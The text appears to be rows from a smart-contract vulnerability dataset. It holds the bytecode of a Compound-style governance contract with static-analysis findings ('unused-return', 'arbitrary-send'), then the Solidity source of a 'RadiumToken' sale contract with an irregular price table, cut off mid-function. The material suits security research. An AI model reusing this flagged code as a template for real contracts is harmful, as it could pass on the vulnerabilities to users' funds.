function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface CompInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
| 0x6080604052600436106101a15760003560e01c80634634c61f116100e1578063d33219b41161008a578063ddf0b00911610064578063ddf0b0091461043b578063deaaa7cc1461045b578063e23a9a5214610470578063fe0d94c11461049d576101a1565b8063d33219b4146103f1578063da35c66414610406578063da95691a1461041b576101a1565b80637bdbe4d0116100bb5780637bdbe4d0146103b2578063b58131b0146103c7578063b9a61961146103dc576101a1565b80634634c61f1461035d57806360bc54971461037d578063760fbc131461039d576101a1565b806320606b701161014e5780633932abb1116101285780633932abb1146102e65780633e4f49e6146102fb57806340e58ee514610328578063452a932014610348576101a1565b806320606b701461028c57806324bc1a64146102a1578063328dd982146102b6576101a1565b8063109d0af81161017f578063109d0af81461022857806315373e3d1461024a57806317977c611461026c576101a1565b8063013cf08b146101a657806302a251a3146101e457806306fdde0314610206575b600080fd5b3480156101b257600080fd5b506101c66101c1366004612400565b6104b0565b6040516101db999897969594939291906130f2565b60405180910390f35b3480156101f057600080fd5b506101f9610509565b6040516101db91906127f7565b34801561021257600080fd5b5061021b61050f565b6040516101db919061286e565b34801561023457600080fd5b5061023d610548565b6040516101db91906126c3565b34801561025657600080fd5b5061026a610265366004612444565b610557565b005b34801561027857600080fd5b506101f9610287366004612272565b610566565b34801561029857600080fd5b506101f9610578565b3480156102ad57600080fd5b506101f961059c565b3480156102c257600080fd5b506102d66102d1366004612400565b610633565b6040516101db949392919061279f565b3480156102f257600080fd5b506101f96108c2565b34801561030757600080fd5b5061031b610316366004612400565b6108c7565b6040516101db919061285a565b34801561033457600080fd5b5061026a610343366004612400565b610a5a565b34801561035457600080fd5b5061023d610cba565b34801561036957600080fd5b5061026a610378366004612473565b610cc9565b34801561038957600080fd5b5061026a610398366004612272565b610e83565b3480156103a957600080fd5b5061026a610f24565b3480156103be57600080fd5b506101f9610f6d565b3480156103d357600080fd5b506101f9610f72565b3480156103e857600080fd5b5061026a611005565b3480156103fd57600080fd5b5061023d6110a3565b34801561041257600080fd5b506101f96110b2565b34801561042757600080fd5b506101f961043636600461228d565b6110b8565b34801561044757600080fd5b5061026a610456366004612400565b6114d0565b34801561046757600080fd5b506101f9611753565b34801561047c57600080fd5b5061049061048b366004612418565b611777565b6040516101db9190613037565b61026a6104ab366004612400565b6117db565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b61438090565b6040518060400160405280601781526020017f436f6d706f756e6420476f7665726e6f7220416c70686100000000000000000081525081565b6001546001600160a01b031681565b6105623383836119a0565b5050565b60056020526000908152604090205481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b600061062e600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105ef57600080fd5b505afa158015610603573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106279190612375565b6019611b55565b905090565b606080606080600060046000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156106b557602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610697575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561070757602002820191906000526020600020905b8154815260200190600101908083116106f3575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156107da5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156107c65780601f1061079b576101008083540402835291602001916107c6565b820191906000526020600020905b8154815290600101906020018083116107a957829003601f168201915b50505050508152602001906001019061072f565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156108ac5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108985780601f1061086d57610100808354040283529160200191610898565b820191906000526020600020905b81548152906001019060200180831161087b57829003601f168201915b505050505081526020019060010190610801565b5050505090509450945094509450509193509193565b600190565b600081600354101580156108db5750600082115b6109005760405162461bcd60e51b81526004016108f7906129e4565b60405180910390fd5b6000828152600460205260409020600b81015460ff1615610925576002915050610a55565b8060070154431161093a576000915050610a55565b8060080154431161094f576001915050610a55565b80600a01548160090154111580610970575061096961059c565b8160090154105b1561097f576003915050610a55565b6002810154610992576004915050610a55565b600b810154610100900460ff16156109ae576007915050610a55565b610a3f816002015460008054906101000a90046001600160a01b03166001600160a01b031663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0257600080fd5b505afa158015610a16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3a9190612375565b611b8a565b4210610a4f576006915050610a55565b60059150505b919050565b6000610a65826108c7565b90506007816007811115610a7557fe5b1415610a935760405162461bcd60e51b81526004016108f790612ee9565b60008281526004602052604090206002546001600160a01b0316331480610b555750610abd610f72565b60018054838201546001600160a01b039182169263782d6fe19290911690610ae6904390611bb6565b6040518363ffffffff1660e01b8152600401610b039291906126d7565b60206040518083038186803b158015610b1b57600080fd5b505afa158015610b2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b539190612375565b105b610b715760405162461bcd60e51b81526004016108f790612c38565b600b8101805460ff1916600117905560005b6003820154811015610c7d576000546003830180546001600160a01b039092169163591fcdfe919084908110610bb557fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610bdd57fe5b9060005260206000200154856005018581548110610bf757fe5b90600052602060002001866006018681548110610c1057fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c3f959493929190612765565b600060405180830381600087803b158015610c5957600080fd5b505af1158015610c6d573d6000803e3d6000fd5b505060019092019150610b839050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610cad91906127f7565b60405180910390a1505050565b6002546001600160a01b031681565b60408051808201909152601781527f436f6d706f756e6420476f7665726e6f7220416c70686100000000000000000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667ff5eb22c2e7100465020c98b00537528808db4fec6eb24c550685a92742247bc5610d4a611bde565b30604051602001610d5e9493929190612800565b60405160208183030381529060405280519060200120905060007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee8787604051602001610dad93929190612824565b60405160208183030381529060405280519060200120905060008282604051602001610dda92919061268d565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e17949392919061283c565b6020604051602081039080840390855afa158015610e39573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610e6c5760405162461bcd60e51b81526004016108f790612dd2565b610e77818a8a6119a0565b505050505b5050505050565b6002546001600160a01b03163314610ead5760405162461bcd60e51b81526004016108f790612881565b6000546040517f4dd18bf50000000000000000000000000000000000000000000000000000000081526001600160a01b0390911690634dd18bf590610ef69084906004016126c3565b600060405180830381600087803b158015610f1057600080fd5b505af1158015610e7c573d6000803e3d6000fd5b6002546001600160a01b03163314610f4e5760405162461bcd60e51b81526004016108f790612fda565b6002805473ffffffffffffffffffffffffffffffffffffffff19169055565b600a90565b600061062e600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612375565b6103e8611b55565b6002546001600160a01b0316331461102f5760405162461bcd60e51b81526004016108f790612881565b60008054604080517f0e18b68100000000000000000000000000000000000000000000000000000000815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b15801561108957600080fd5b505af115801561109d573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b60006110c2610f72565b600180546001600160a01b03169063782d6fe19033906110e3904390611bb6565b6040518363ffffffff1660e01b81526004016111009291906126d7565b60206040518083038186803b15801561111857600080fd5b505afa15801561112c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111509190612375565b101561116e5760405162461bcd60e51b81526004016108f790612d75565b84518651148015611180575083518651145b801561118d575082518651145b6111a95760405162461bcd60e51b81526004016108f790612bb5565b85516111c75760405162461bcd60e51b81526004016108f790612d18565b6111cf610f6d565b865111156111ef5760405162461bcd60e51b81526004016108f790612b21565b33600090815260056020526040902054801561126c576000611210826108c7565b9050600181600781111561122057fe5b141561123e5760405162461bcd60e51b81526004016108f790612e66565b600081600781111561124c57fe5b141561126a5760405162461bcd60e51b81526004016108f790612a9e565b505b600061127a43610a3a6108c2565b9050600061128a82610a3a610509565b600380546001019055905061129d611d5a565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190611380929190611dcf565b506080820151805161139c916004840191602090910190611e41565b5060a082015180516113b8916005840191602090910190611e88565b5060c082015180516113d4916006840191602090910190611ee1565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516114ba9998979695949392919061305c565b60405180910390a1519998505050505050505050565b60046114db826108c7565b60078111156114e657fe5b146115035760405162461bcd60e51b81526004016108f7906128de565b6000818152600460208181526040808420845482517f6a42b8f800000000000000000000000000000000000000000000000000000000815292519195946115719442946001600160a01b0390931693636a42b8f8938084019390829003018186803b158015610a0257600080fd5b905060005b60038301548110156117195761171183600301828154811061159457fe5b6000918252602090912001546004850180546001600160a01b0390921691849081106115bc57fe5b90600052602060002001548560050184815481106115d657fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116645780601f1061163957610100808354040283529160200191611664565b820191906000526020600020905b81548152906001019060200180831161164757829003601f168201915b505050505086600601858154811061167857fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156117065780601f106116db57610100808354040283529160200191611706565b820191906000526020600020905b8154815290600101906020018083116116e957829003601f168201915b505050505086611be2565b600101611576565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610cad908590849061313e565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b61177f611f3a565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452815460ff808216151583526101009091041615159281019290925260010154918101919091525b92915050565b60056117e6826108c7565b60078111156117f157fe5b1461180e5760405162461bcd60e51b81526004016108f790612961565b6000818152600460205260408120600b8101805461ff001916610100179055905b6003820154811015611964576000546004830180546001600160a01b0390921691630825f38f91908490811061186157fe5b906000526020600020015484600301848154811061187b57fe5b6000918252602090912001546004860180546001600160a01b0390921691869081106118a357fe5b90600052602060002001548660050186815481106118bd57fe5b906000526020600020018760060187815481106118d657fe5b9060005260206000200188600201546040518763ffffffff1660e01b8152600401611905959493929190612765565b6000604051808303818588803b15801561191e57600080fd5b505af1158015611932573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f1916820160405261195b919081019061238d565b5060010161182f565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161199491906127f7565b60405180910390a15050565b60016119ab836108c7565b60078111156119b657fe5b146119d35760405162461bcd60e51b81526004016108f790612f46565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff1615611a1c5760405162461bcd60e51b81526004016108f790612a41565b60015460078301546040517f782d6fe10000000000000000000000000000000000000000000000000000000081526000926001600160a01b03169163782d6fe191611a6b918a916004016126d7565b60206040518083038186803b158015611a8357600080fd5b505afa158015611a97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611abb9190612375565b90508315611adb57611ad1836009015482611b8a565b6009840155611aef565b611ae983600a015482611b8a565b600a8401555b8154600160ff19909116811761ff0019166101008615150217835582018190556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611b459088908890889086906126f0565b60405180910390a1505050505050565b6000808211611b765760405162461bcd60e51b81526004016108f790612e2f565b6000828481611b8157fe5b04949350505050565b600082820183811015611baf5760405162461bcd60e51b81526004016108f790612b7e565b9392505050565b600082821115611bd85760405162461bcd60e51b81526004016108f790612fa3565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611c109088908890889088908890602001612718565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611c4291906127f7565b60206040518083038186803b158015611c5a57600080fd5b505afa158015611c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c929190612359565b15611caf5760405162461bcd60e51b81526004016108f790612c95565b6000546040517f3a66f9010000000000000000000000000000000000000000000000000000000081526001600160a01b0390911690633a66f90190611d009088908890889088908890600401612718565b602060405180830381600087803b158015611d1a57600080fd5b505af1158015611d2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d529190612375565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611e31579160200282015b82811115611e31578251825473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909116178255602090920191600190910190611def565b50611e3d929150611f5a565b5090565b828054828255906000526020600020908101928215611e7c579160200282015b82811115611e7c578251825591602001919060010190611e61565b50611e3d929150611f86565b828054828255906000526020600020908101928215611ed5579160200282015b82811115611ed55782518051611ec5918491602090910190611f9b565b5091602001919060010190611ea8565b50611e3d929150612008565b828054828255906000526020600020908101928215611f2e579160200282015b82811115611f2e5782518051611f1e918491602090910190611f9b565b5091602001919060010190611f01565b50611e3d929150612025565b604080516060810182526000808252602082018190529181019190915290565b5b80821115611e3d57805473ffffffffffffffffffffffffffffffffffffffff19168155600101611f5b565b5b80821115611e3d5760008155600101611f87565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611fdc57805160ff1916838001178555611e7c565b82800160010185558215611e7c5791820182811115611e7c578251825591602001919060010190611e61565b80821115611e3d57600061201c8282612042565b50600101612008565b80821115611e3d5760006120398282612042565b50600101612025565b50805460018160011615610100020316600290046000825580601f106120685750612086565b601f0160209004906000526020600020908101906120869190611f86565b50565b80356001600160a01b03811681146117d557600080fd5b600082601f8301126120b0578081fd5b81356120c36120be82613173565b61314c565b8181529150602080830190848101818402860182018710156120e457600080fd5b60005b8481101561210b576120f98883612089565b845292820192908201906001016120e7565b505050505092915050565b600082601f830112612126578081fd5b81356121346120be82613173565b818152915060208083019084810160005b8481101561210b5761215c888484358a0101612224565b84529282019290820190600101612145565b600082601f83011261217e578081fd5b813561218c6120be82613173565b818152915060208083019084810160005b8481101561210b576121b4888484358a0101612224565b8452928201929082019060010161219d565b600082601f8301126121d6578081fd5b81356121e46120be82613173565b81815291506020808301908481018184028601820187101561220557600080fd5b60005b8481101561210b57813584529282019290820190600101612208565b600082601f830112612234578081fd5b81356122426120be82613193565b915080825283602082850101111561225957600080fd5b8060208401602084013760009082016020015292915050565b600060208284031215612283578081fd5b611baf8383612089565b600080600080600060a086880312156122a4578081fd5b853567ffffffffffffffff808211156122bb578283fd5b6122c789838a016120a0565b965060208801359150808211156122dc578283fd5b6122e889838a016121c6565b955060408801359150808211156122fd578283fd5b61230989838a0161216e565b9450606088013591508082111561231e578283fd5b61232a89838a01612116565b9350608088013591508082111561233f578283fd5b5061234c88828901612224565b9150509295509295909350565b60006020828403121561236a578081fd5b8151611baf816131ef565b600060208284031215612386578081fd5b5051919050565b60006020828403121561239e578081fd5b815167ffffffffffffffff8111156123b4578182fd5b8201601f810184136123c4578182fd5b80516123d26120be82613193565b8181528560208385010111156123e6578384fd5b6123f78260208301602086016131c3565b95945050505050565b600060208284031215612411578081fd5b5035919050565b6000806040838503121561242a578182fd5b8235915061243b8460208501612089565b90509250929050565b60008060408385031215612456578182fd5b823591506020830135612468816131ef565b809150509250929050565b600080600080600060a0868803121561248a578283fd5b85359450602086013561249c816131ef565b9350604086013560ff811681146124b1578384fd5b94979396509394606081013594506080013592915050565b6000815180845260208085019450808401835b838110156125015781516001600160a01b0316875295820195908201906001016124dc565b509495945050505050565b6000815180845260208085018081965082840281019150828601855b858110156125525782840389526125408483516125de565b98850198935090840190600101612528565b5091979650505050505050565b6000815180845260208085019450848183028601828601855b858110156125a25783830389526125908383516125de565b98850198925090840190600101612578565b5090979650505050505050565b6000815180845260208085019450808401835b83811015612501578151875295820195908201906001016125c2565b600081518084526125f68160208601602086016131c3565b601f01601f19169290920160200192915050565b60008154600180821660008114612628576001811461264657612684565b60028304607f16865260ff1983166020870152604086019350612684565b60028304808752612656866131b7565b60005b8281101561267a5781546020828b0101528482019150602081019050612659565b8801602001955050505b50505092915050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b03949094168452602084019290925215156040830152606082015260800190565b60006001600160a01b038716825285602083015260a0604083015261274060a08301866125de565b828103606084015261275281866125de565b9150508260808301529695505050505050565b60006001600160a01b038716825285602083015260a0604083015261278d60a083018661260a565b8281036060840152612752818661260a565b6000608082526127b260808301876124c9565b82810360208401526127c481876125af565b905082810360408401526127d8818661255f565b905082810360608401526127ec818561250c565b979650505050505050565b90815260200190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b602081016008831061286857fe5b91905290565b600060208252611baf60208301846125de565b60208082526039908201527f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736560408201527f6e646572206d75737420626520676f7620677561726469616e00000000000000606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360408201527f616e206f6e6c792062652071756575656420696620697420697320737563636560608201527f6564656400000000000000000000000000000000000000000000000000000000608082015260a00190565b60208082526045908201527f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60408201527f2063616e206f6e6c79206265206578656375746564206966206974206973207160608201527f7565756564000000000000000000000000000000000000000000000000000000608082015260a00190565b60208082526029908201527f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707260408201527f6f706f73616c2069640000000000000000000000000000000000000000000000606082015260800190565b6020808252602d908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060408201527f616c726561647920766f74656400000000000000000000000000000000000000606082015260800190565b60208082526059908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000608082015260a00190565b60208082526028908201527f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960408201527f20616374696f6e73000000000000000000000000000000000000000000000000606082015260800190565b60208082526011908201527f6164646974696f6e206f766572666c6f77000000000000000000000000000000604082015260600190565b60208082526044908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60408201527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60608201527f6174636800000000000000000000000000000000000000000000000000000000608082015260a00190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060408201527f61626f7665207468726573686f6c640000000000000000000000000000000000606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060408201527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460608201527f2065746100000000000000000000000000000000000000000000000000000000608082015260a00190565b6020808252602c908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60408201527f7669646520616374696f6e730000000000000000000000000000000000000000606082015260800190565b6020808252603f908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260408201527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400606082015260800190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60408201527f76616c6964207369676e61747572650000000000000000000000000000000000606082015260800190565b60208082526010908201527f6469766973696f6e206279207a65726f00000000000000000000000000000000604082015260600190565b60208082526058908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c7265616479206163746976652070726f706f73616c0000000000000000608082015260a00190565b60208082526036908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636160408201527f6e63656c2065786563757465642070726f706f73616c00000000000000000000606082015260800190565b6020808252602a908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6760408201527f20697320636c6f73656400000000000000000000000000000000000000000000606082015260800190565b60208082526015908201527f7375627472616374696f6e20756e646572666c6f770000000000000000000000604082015260600190565b60208082526036908201527f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e646560408201527f72206d75737420626520676f7620677561726469616e00000000000000000000606082015260800190565b8151151581526020808301511515908201526040918201519181019190915260600190565b60006101208b83526001600160a01b038b1660208401528060408401526130858184018b6124c9565b90508281036060840152613099818a6125af565b905082810360808401526130ad818961255f565b905082810360a08401526130c1818861250c565b90508560c08401528460e08401528281036101008401526130e281856125de565b9c9b505050505050505050505050565b9889526001600160a01b0397909716602089015260408801959095526060870193909352608086019190915260a085015260c0840152151560e083015215156101008201526101200190565b918252602082015260400190565b60405181810167ffffffffffffffff8111828210171561316b57600080fd5b604052919050565b600067ffffffffffffffff821115613189578081fd5b5060209081020190565b600067ffffffffffffffff8211156131a9578081fd5b50601f01601f191660200190565b60009081526020902090565b60005b838110156131de5781810151838201526020016131c6565b8381111561109d5750506000910152565b801515811461208657600080fdfea26469706673582212208b6bf331a81f6eae3fd38f3bd54cd5343350cd63496ce5752bd77b50e6edf81564736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,105 |
0xda4d69c10c03f9e07f69d091d525b70d8856e2b7 | pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract RadiumToken is StandardToken {
string public constant name = "Radium Token";
string public constant symbol = "RAD";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 850 * 10**6 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function RadiumToken(address _owner) public {
totalSupply = INITIAL_SUPPLY;
owner = _owner;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
/**
Token Distribution
*/
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if( _weiAmount == 0.01 ether){
amountOfTokens = 20 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.05 ether){
amountOfTokens = 100 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.1 ether){
amountOfTokens = 200 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.5 ether){
amountOfTokens = 5000 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 1 ether){
amountOfTokens = 3000 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 5 ether){
amountOfTokens = 10000 * 10**3 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
OwnerChanged(owner, _newOwner);
